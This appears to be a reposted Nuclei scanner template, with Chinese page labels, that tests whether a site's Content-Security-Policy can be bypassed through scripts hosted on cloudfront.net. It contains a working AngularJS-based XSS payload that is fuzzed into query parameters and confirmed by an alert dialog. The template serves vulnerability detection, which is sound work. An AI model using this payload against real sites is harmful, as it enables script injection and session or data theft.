cloudfront-csp-bypass: Content-Security-Policy Bypass - CloudFront

PoC代码[已公开]

id: cloudfront-csp-bypass

info:
  name: Content-Security-Policy Bypass - CloudFront
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,cloudfront,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "cloudfront.net"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: cloudfront_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - <body ng-app ng-csp><script src="https://d1xrp9zhb3ks3c.cloudfront.net/web/changessalon/node_modules/angular/angular.min.js"></script><input autofocus ng-focus="$event.composedPath()|orderBy:\'[].constructor.from([1],alert)\'"></body>

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "cloudfront_csp_xss == true"
# digest: 490a0046304402201dd8434d3ce4550f0eea595a40afbbe2d16d9a5d846c094b1f12347a12e3ef7e02204cd0a5bf484cf1cda4766f0cc907784b92bc67fbd2de221d2dea967b5ea7ecd4:922c64590222798bb761d5b6d8e72950

来源: https://github.com/projectdiscovery/nuclei-templates/blob/main/dast/vulnerabilities/xss/csp-bypass/cloudfront-csp-bypass.yaml

cloudfront-csp-bypass: Content-Security-Policy Bypass - CloudFront

漏洞描述

PoC代码[已公开]

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